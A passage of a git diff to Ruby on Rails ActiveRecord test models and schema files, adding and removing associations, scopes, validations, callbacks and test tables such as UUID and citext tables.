has_one :membership
has_many :memberships, :inverse_of => false
has_many :members, :through => :memberships
- has_many :current_memberships
has_one :sponsor
has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
belongs_to :category
+ has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+
private
def private_method
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
index c7495d7deb..501af4a8dd 100644
--- a/activerecord/test/models/college.rb
+++ b/activerecord/test/models/college.rb
@@ -1,5 +1,10 @@
require_dependency 'models/arunit2_model'
+require 'active_support/core_ext/object/with_options'
class College < ARUnit2Model
has_many :courses
+
+ with_options dependent: :destroy do |assoc|
+ assoc.has_many :students, -> { where(active: true) }
+ end
end
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
new file mode 100644
index 0000000000..499358b4cf
--- /dev/null
+++ b/activerecord/test/models/column.rb
@@ -0,0 +1,3 @@
+class Column < ActiveRecord::Base
+ belongs_to :record
+end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
index ec07205a3a..460eb4fe20 100644
--- a/activerecord/test/models/column_name.rb
+++ b/activerecord/test/models/column_name.rb
@@ -1,3 +1,3 @@
class ColumnName < ActiveRecord::Base
- def self.table_name () "colnametests" end
-end \ No newline at end of file
+ self.table_name = "colnametests"
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index b988184f34..76411ecb37 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -11,6 +11,11 @@ class Company < AbstractCompany
has_many :contracts
has_many :developers, :through => :contracts
+ scope :of_first_firm, lambda {
+ joins(:account => :firm).
+ where('firms.id' => 1)
+ }
+
def arbitrary_method
"I am Jack's profound disappointment"
end
@@ -35,17 +40,13 @@ module Namespaced
end
class Firm < Company
- ActiveSupport::Deprecation.silence do
- has_many :clients, -> { order "id" }, :dependent => :destroy, :counter_sql =>
- "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
- "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
- :before_remove => :log_before_remove,
- :after_remove => :log_after_remove
- end
+ to_param :name
+
+ has_many :clients, -> { order "id" }, :dependent => :destroy, :before_remove => :log_before_remove, :after_remove => :log_after_remove
has_many :unsorted_clients, :class_name => "Client"
has_many :unsorted_clients_with_symbol, :class_name => :Client
has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
- has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+ has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :inverse_of => :firm
has_many :clients_ordered_by_name, -> { order "name" }, :class_name => "Client"
has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
has_many :dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :destroy
@@ -54,21 +55,7 @@ class Firm < Company
has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, :class_name => "Client"
has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
- ActiveSupport::Deprecation.silence do
- has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
- has_many :clients_using_counter_sql, :class_name => "Client",
- :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
- :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
- has_many :clients_using_zero_counter_sql, :class_name => "Client",
- :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
- :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
- has_many :no_clients_using_counter_sql, :class_name => "Client",
- :finder_sql => 'SELECT * FROM companies WHERE client_of = 1000',
- :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
- has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
- end
has_many :plain_clients, :class_name => 'Client'
- has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
has_many :clients_using_primary_key, :class_name => 'Client',
:primary_key => 'name', :foreign_key => 'firm_name'
has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
@@ -114,13 +101,6 @@ class DependentFirm < Company
has_one :company, :foreign_key => 'client_of', :dependent => :nullify
end
-class RestrictedFirm < Company
- ActiveSupport::Deprecation.silence do
- has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict
- has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict
- end
-end
-
class RestrictedWithExceptionFirm < Company
has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_exception
has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_exception
@@ -144,6 +124,10 @@ class Client < Company
has_many :accounts, :through => :firm, :source => :accounts
belongs_to :account
+ validate do
+ firm
+ end
+
class RaisedOnSave < RuntimeError; end
attr_accessor :raise_on_save
before_save do
@@ -193,7 +177,6 @@ class ExclusivelyDependentFirm < Company
has_one :account, :foreign_key => "firm_id", :dependent => :delete
has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
- has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
end
class SpecialClient < Client
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 461bb0de09..38b0b6aafa 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -10,10 +10,6 @@ module MyApplication
has_many :clients_sorted_desc, -> { order("id DESC") }, :class_name => "Client"
has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
- ActiveSupport::Deprecation.silence do
- has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
- end
-
has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
end
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
index 2cf5aa7a85..cdf7b267b5 100644
--- a/activerecord/test/models/contract.rb
+++ b/activerecord/test/models/contract.rb
@@ -1,6 +1,7 @@
class Contract < ActiveRecord::Base
belongs_to :company
belongs_to :developer
+ belongs_to :firm, :foreign_key => 'company_id'
before_save :hi
after_save :bye
diff --git a/activerecord/test/models/department.rb b/activerecord/test/models/department.rb
new file mode 100644
index 0000000000..08004a0ed3
--- /dev/null
+++ b/activerecord/test/models/department.rb
@@ -0,0 +1,4 @@
+class Department < ActiveRecord::Base
+ has_many :chefs
+ belongs_to :hotel
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 81bc87bd42..762259ffa3 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -1,11 +1,5 @@
require 'ostruct'
-module DeveloperProjectsAssociationExtension
- def find_most_recent
- order("id DESC").first
- end
-end
-
module DeveloperProjectsAssociationExtension2
def find_least_recent
order("id ASC").first
@@ -42,8 +36,14 @@ class Developer < ActiveRecord::Base
end
has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+ has_and_belongs_to_many :sym_special_projects,
+ :join_table => :developers_projects,
+ :association_foreign_key => 'project_id',
+ :class_name => 'SpecialProject'
has_many :audit_logs
+ has_many :contracts
+ has_many :firms, :through => :contracts, :source => :firm
scope :jamises, -> { where(:name => 'Jamis') }
@@ -165,6 +165,8 @@ class DeveloperCalledJamis < ActiveRecord::Base
default_scope { where(:name => 'Jamis') }
scope :poor, -> { where('salary < 150000') }
+ scope :david, -> { where name: "David" }
+ scope :david2, -> { unscoped.where name: "David" }
end
class PoorDeveloperCalledJamis < ActiveRecord::Base
diff --git a/activerecord/test/models/drink_designer.rb b/activerecord/test/models/drink_designer.rb
new file mode 100644
index 0000000000..2db968ef11
--- /dev/null
+++ b/activerecord/test/models/drink_designer.rb
@@ -0,0 +1,3 @@
+class DrinkDesigner < ActiveRecord::Base
+ has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
index 35af9f679b..6fc270673f 100644
--- a/activerecord/test/models/electron.rb
+++ b/activerecord/test/models/electron.rb
@@ -1,3 +1,5 @@
class Electron < ActiveRecord::Base
belongs_to :molecule
+
+ validates_presence_of :name
end
diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb
new file mode 100644
index 0000000000..b352cd22f3
--- /dev/null
+++ b/activerecord/test/models/hotel.rb
@@ -0,0 +1,6 @@
+class Hotel < ActiveRecord::Base
+ has_many :departments
+ has_many :chefs, through: :departments
+ has_many :cake_designers, source_type: 'CakeDesigner', source: :employable, through: :chefs
+ has_many :drink_designers, source_type: 'DrinkDesigner', source: :employable, through: :chefs
+end
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
index 4bff92dc98..f4d127730c 100644
--- a/activerecord/test/models/man.rb
+++ b/activerecord/test/models/man.rb
@@ -6,4 +6,5 @@ class Man < ActiveRecord::Base
# These are "broken" inverse_of associations for the purposes of testing
has_one :dirty_face, :class_name => 'Face', :inverse_of => :dirty_man
has_many :secret_interests, :class_name => 'Interest', :inverse_of => :secret_man
+ has_one :mixed_case_monkey
end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index cc47c7bc18..72095f9236 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -2,7 +2,6 @@ class Member < ActiveRecord::Base
has_one :current_membership
has_one :selected_membership
has_one :membership
- has_many :fellow_members, :through => :club, :source => :members
has_one :club, :through => :current_membership
has_one :selected_club, :through => :selected_membership, :source => :club
has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
index bcbb7e42c5..df7167ee93 100644
--- a/activerecord/test/models/membership.rb
+++ b/activerecord/test/models/membership.rb
@@ -8,6 +8,11 @@ class CurrentMembership < Membership
belongs_to :club
end
+class SuperMembership < Membership
+ belongs_to :member, -> { order('members.id DESC') }
+ belongs_to :club
+end
+
class SelectedMembership < Membership
def self.default_scope
select("'1' as foo")
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 763baefd91..1c35006665 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,3 @@
class MixedCaseMonkey < ActiveRecord::Base
- self.primary_key = 'monkeyID'
+ belongs_to :man
end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
index 69325b8d29..26870c8f88 100644
--- a/activerecord/test/models/molecule.rb
+++ b/activerecord/test/models/molecule.rb
@@ -1,4 +1,6 @@
class Molecule < ActiveRecord::Base
belongs_to :liquid
has_many :electrons
+
+ accepts_nested_attributes_for :electrons
end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
index 6384b4c801..0302abad1e 100644
--- a/activerecord/test/models/movie.rb
+++ b/activerecord/test/models/movie.rb
@@ -1,5 +1,5 @@
class Movie < ActiveRecord::Base
- def self.primary_key
- "movieid"
- end
+ self.primary_key = "movieid"
+
+ validates_presence_of :name
end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 1c7ed4aa3e..cf24502d3a 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -2,4 +2,21 @@ class Owner < ActiveRecord::Base
self.primary_key = :owner_id
has_many :pets, -> { order 'pets.name desc' }
has_many :toys, :through => :pets
+
+ after_commit :execute_blocks
+
+ def blocks
+ @blocks ||= []
+ end
+
+ def on_after_commit(&block)
+ blocks << block
+ end
+
+ def execute_blocks
+ blocks.each do |block|
+ block.call(self)
+ end
+ @blocks = []
+ end
end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index c4ee2bd19d..e76e83f314 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -21,3 +21,9 @@ end
class DeadParrot < Parrot
belongs_to :killer, :class_name => 'Pirate'
end
+
+class FunkyParrot < Parrot
+ before_destroy do
+ raise "before_destroy was called"
+ end
+end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 1a282dbce4..c7e54e7b63 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -89,6 +89,19 @@ class RichPerson < ActiveRecord::Base
self.table_name = 'people'
has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+
+ before_validation :run_before_create, on: :create
+ before_validation :run_before_validation
+
+ private
+
+ def run_before_create
+ self.first_name = first_name.to_s + 'run_before_create'
+ end
+
+ def run_before_validation
+ self.first_name = first_name.to_s + 'run_before_validation'
+ end
end
class NestedPerson < ActiveRecord::Base
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 170fc2ffe3..90a3c3ecee 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -13,11 +13,11 @@ class Pirate < ActiveRecord::Base
:after_add => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
:before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
:after_remove => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+ has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
has_many :treasures, :as => :looter
has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
- # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
has_one :ship
has_one :update_only_ship, :class_name => 'Ship'
has_one :non_validated_ship, :class_name => 'Ship'
@@ -84,3 +84,9 @@ end
class DestructivePirate < Pirate
has_one :dependent_ship, :class_name => 'Ship', :foreign_key => :pirate_id, :dependent => :destroy
end
+
+class FamousPirate < ActiveRecord::Base
+ self.table_name = 'pirates'
+ has_many :famous_ships
+ validates_presence_of :catchphrase, on: :conference
+end \ No newline at end of file
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 93a7a2073c..6399a68d95 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,4 +1,10 @@
class Post < ActiveRecord::Base
+ class CategoryPost < ActiveRecord::Base
+ self.table_name = "categories_posts"
+ belongs_to :category
+ belongs_to :post
+ end
+
module NamedExtension
def author
'lifo'
@@ -34,6 +40,8 @@ class Post < ActiveRecord::Base
scope :with_comments, -> { preload(:comments) }
scope :with_tags, -> { preload(:taggings) }
+ scope :tagged_with, ->(id) { joins(:taggings).where(taggings: { tag_id: id }) }
+
has_many :comments do
def find_most_recent
order("id DESC").first
@@ -59,6 +67,9 @@ class Post < ActiveRecord::Base
has_many :author_favorites, :through => :author
has_many :author_categorizations, :through => :author, :source => :categorizations
has_many :author_addresses, :through => :author
+ has_many :author_address_extra_with_address,
+ through: :author_with_address,
+ source: :author_address_extra
has_many :comments_with_interpolated_conditions,
->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
@@ -72,6 +83,8 @@ class Post < ActiveRecord::Base
has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
+ has_many :category_posts, :class_name => 'CategoryPost'
+ has_many :scategories, through: :category_posts, source: :category
has_and_belongs_to_many :categories
has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
@@ -122,7 +135,6 @@ class Post < ActiveRecord::Base
has_many :secure_readers
has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
has_many :people, :through => :readers
- has_many :secure_people, :through => :secure_readers
has_many :single_people, :through => :readers
has_many :people_with_callbacks, :source=>:person, :through => :readers,
:before_add => lambda {|owner, reader| log(:added, :before, reader.first_name) },
@@ -135,10 +147,18 @@ class Post < ActiveRecord::Base
has_many :lazy_readers
has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
+ has_many :lazy_people, :through => :lazy_readers, :source => :person
+ has_many :lazy_readers_unscope_skimmers, -> { skimmers_or_not }, :class_name => 'LazyReader'
+ has_many :lazy_people_unscope_skimmers, :through => :lazy_readers_unscope_skimmers, :source => :person
+
def self.top(limit)
ranked_by_comments.limit_by(limit)
end
+ def self.written_by(author)
+ where(id: author.posts.pluck(:id))
+ end
+
def self.reset_log
@log = []
end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index f893754b9f..7f42a4b1f8 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,25 +1,11 @@
class Project < ActiveRecord::Base
has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' }
has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
- has_and_belongs_to_many :selected_developers, -> { distinct.select "developers.*" }, :class_name => "Developer"
has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, :class_name => "Developer"
has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').distinct }, :class_name => "Developer"
has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, :class_name => "Developer"
-
- ActiveSupport::Deprecation.silence do
- has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
- has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
- "SELECT
- t.*, j.*
- FROM
- developers_projects j,
- developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
- }
- has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
- end
-
has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
:after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
:before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 3a6b7fad34..91afc1898c 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -16,6 +16,8 @@ class LazyReader < ActiveRecord::Base
self.table_name = "readers"
default_scope -> { where(skimmer: true) }
+ scope :skimmers_or_not, -> { unscope(:where => :skimmer) }
+
belongs_to :post
belongs_to :person
end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
new file mode 100644
index 0000000000..f77ac9fc03
--- /dev/null
+++ b/activerecord/test/models/record.rb
@@ -0,0 +1,2 @@
+class Record < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
index 3da031946f..77a4728d0b 100644
--- a/activerecord/test/models/ship.rb
+++ b/activerecord/test/models/ship.rb
@@ -17,3 +17,9 @@ class Ship < ActiveRecord::Base
false
end
end
+
+class FamousShip < ActiveRecord::Base
+ self.table_name = 'ships'
+ belongs_to :famous_pirate
+ validates_presence_of :name, on: :conference
+end
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
index 81414227ea..607a0a5b41 100644
--- a/activerecord/test/models/shop.rb
+++ b/activerecord/test/models/shop.rb
@@ -5,6 +5,11 @@ module Shop
class Product < ActiveRecord::Base
has_many :variants, :dependent => :delete_all
+ belongs_to :type
+
+ class Type < ActiveRecord::Base
+ has_many :products
+ end
end
class Variant < ActiveRecord::Base
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
index f459f2a9a3..28a0b6c99b 100644
--- a/activerecord/test/models/student.rb
+++ b/activerecord/test/models/student.rb
@@ -1,3 +1,4 @@
class Student < ActiveRecord::Base
has_and_belongs_to_many :lessons
+ belongs_to :college
end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
index a581b381e8..80d4725f7e 100644
--- a/activerecord/test/models/tag.rb
+++ b/activerecord/test/models/tag.rb
@@ -3,5 +3,5 @@ class Tag < ActiveRecord::Base
has_many :taggables, :through => :taggings
has_one :tagging
- has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
-end \ No newline at end of file
+ has_many :tagged_posts, :through => :taggings, :source => 'taggable', :source_type => 'Post'
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 17035bf338..f81ffe1d90 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -34,7 +34,6 @@ class Topic < ActiveRecord::Base
has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count'
- has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
@@ -107,6 +106,10 @@ class ImportantTopic < Topic
serialize :important, Hash
end
+class DefaultRejectedTopic < Topic
+ default_scope -> { where(approved: false) }
+end
+
class BlankTopic < Topic
# declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
def blank?
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index e864295acf..a69d3fd3df 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -3,6 +3,7 @@ class Treasure < ActiveRecord::Base
belongs_to :looter, :polymorphic => true
has_many :price_estimates, :as => :estimate_of
+ has_and_belongs_to_many :rich_people, join_table: 'peoples_treasures', validate: false
accepts_nested_attributes_for :looter
end
diff --git a/activerecord/test/models/uuid_child.rb b/activerecord/test/models/uuid_child.rb
new file mode 100644
index 0000000000..a3d0962ad6
--- /dev/null
+++ b/activerecord/test/models/uuid_child.rb
@@ -0,0 +1,3 @@
+class UuidChild < ActiveRecord::Base
+ belongs_to :uuid_parent
+end
diff --git a/activerecord/test/models/uuid_parent.rb b/activerecord/test/models/uuid_parent.rb
new file mode 100644
index 0000000000..5634f22d0c
--- /dev/null
+++ b/activerecord/test/models/uuid_parent.rb
@@ -0,0 +1,3 @@
+class UuidParent < ActiveRecord::Base
+ has_many :uuid_children
+end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
index 3314687445..a7817772f4 100644
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -3,7 +3,6 @@ ActiveRecord::Schema.define do
execute "drop table test_oracle_defaults" rescue nil
execute "drop sequence test_oracle_defaults_seq" rescue nil
execute "drop sequence companies_nonstd_seq" rescue nil
- execute "drop synonym subjects" rescue nil
execute "drop table defaults" rescue nil
execute "drop sequence defaults_seq" rescue nil
@@ -22,8 +21,6 @@ create sequence test_oracle_defaults_seq minvalue 10000
execute "create sequence companies_nonstd_seq minvalue 10000"
- execute "create synonym subjects for topics"
-
execute <<-SQL
CREATE TABLE defaults (
id integer not null,
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 6b7012a172..4fcbf4dbd2 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,7 +1,7 @@
ActiveRecord::Schema.define do
- %w(postgresql_ranges postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
- postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
+ %w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
+ postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type postgresql_citext).each do |table_name|
execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
end
@@ -74,18 +74,6 @@ _SQL
);
_SQL
- execute <<_SQL if supports_ranges?
- CREATE TABLE postgresql_ranges (
- id SERIAL PRIMARY KEY,
- date_range daterange,
- num_range numrange,
- ts_range tsrange,
- tstz_range tstzrange,
- int4_range int4range,
- int8_range int8range
- );
-_SQL
-
execute <<_SQL
CREATE TABLE postgresql_tsvectors (
id SERIAL PRIMARY KEY,
@@ -111,6 +99,15 @@ _SQL
_SQL
end
+ if 't' == select_value("select 'citext'=ANY(select typname from pg_type)")
+ execute <<_SQL
+ CREATE TABLE postgresql_citext (
+ id SERIAL PRIMARY KEY,
+ text_citext citext default ''::citext
+ );
+_SQL
+ end
+
if 't' == select_value("select 'json'=ANY(select typname from pg_type)")
execute <<_SQL
CREATE TABLE postgresql_json_data_type (
@@ -221,4 +218,3 @@ _SQL
t.text :text, limit: 100_000
end
end
-
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 188a3f0164..da3074e90f 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
ActiveRecord::Schema.define do
def except(adapter_names_to_exclude)
unless [adapter_names_to_exclude].flatten.include?(adapter_name)
@@ -15,6 +17,15 @@ ActiveRecord::Schema.define do
ActiveRecord::Base.connection.create_table(*args, &block)
ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
end
+ when "PostgreSQL"
+ enable_uuid_ossp!(ActiveRecord::Base.connection)
+ create_table :uuid_parents, id: :uuid, force: true do |t|
+ t.string :name
+ end
+ create_table :uuid_children, id: :uuid, force: true do |t|
+ t.string :name
+ t.uuid :uuid_parent_id
+ end
end
@@ -25,111 +36,115 @@ ActiveRecord::Schema.define do
# #
# ------------------------------------------------------------------- #
- create_table :accounts, :force => true do |t|
+ create_table :accounts, force: true do |t|
t.integer :firm_id
t.string :firm_name
t.integer :credit_limit
end
- create_table :admin_accounts, :force => true do |t|
+ create_table :admin_accounts, force: true do |t|
t.string :name
end
- create_table :admin_users, :force => true do |t|
+ create_table :admin_users, force: true do |t|
t.string :name
- t.string :settings, :null => true, :limit => 1024
+ t.string :settings, null: true, limit: 1024
# MySQL does not allow default values for blobs. Fake it out with a
# big varchar below.
- t.string :preferences, :null => true, :default => '', :limit => 1024
- t.string :json_data, :null => true, :limit => 1024
- t.string :json_data_empty, :null => true, :default => "", :limit => 1024
+ t.string :preferences, null: true, default: '', limit: 1024
+ t.string :json_data, null: true, limit: 1024
+ t.string :json_data_empty, null: true, default: "", limit: 1024
+ t.text :params
t.references :account
end
- create_table :aircraft, :force => true do |t|
+ create_table :aircraft, force: true do |t|
t.string :name
end
- create_table :audit_logs, :force => true do |t|
- t.column :message, :string, :null=>false
- t.column :developer_id, :integer, :null=>false
+ create_table :audit_logs, force: true do |t|
+ t.column :message, :string, null: false
+ t.column :developer_id, :integer, null: false
t.integer :unvalidated_developer_id
end
- create_table :authors, :force => true do |t|
- t.string :name, :null => false
+ create_table :authors, force: true do |t|
+ t.string :name, null: false
t.integer :author_address_id
t.integer :author_address_extra_id
t.string :organization_id
t.string :owned_essay_id
end
- create_table :author_addresses, :force => true do |t|
+ create_table :author_addresses, force: true do |t|
end
- create_table :author_favorites, :force => true do |t|
+ create_table :author_favorites, force: true do |t|
t.column :author_id, :integer
t.column :favorite_author_id, :integer
end
- create_table :auto_id_tests, :force => true, :id => false do |t|
+ create_table :auto_id_tests, force: true, id: false do |t|
t.primary_key :auto_id
t.integer :value
end
- create_table :binaries, :force => true do |t|
+ create_table :binaries, force: true do |t|
t.string :name
t.binary :data
- t.binary :short_data, :limit => 2048
+ t.binary :short_data, limit: 2048
end
- create_table :birds, :force => true do |t|
+ create_table :birds, force: true do |t|
t.string :name
t.string :color
t.integer :pirate_id
end
- create_table :books, :force => true do |t|
+ create_table :books, force: true do |t|
t.integer :author_id
t.column :name, :string
+ t.column :status, :integer, default: 0
+ t.column :read_status, :integer, default: 0
+ t.column :nullable_status, :integer
end
- create_table :booleans, :force => true do |t|
+ create_table :booleans, force: true do |t|
t.boolean :value
- t.boolean :has_fun, :null => false, :default => false
+ t.boolean :has_fun, null: false, default: false
end
- create_table :bulbs, :force => true do |t|
+ create_table :bulbs, force: true do |t|
t.integer :car_id
t.string :name
t.boolean :frickinawesome
t.string :color
end
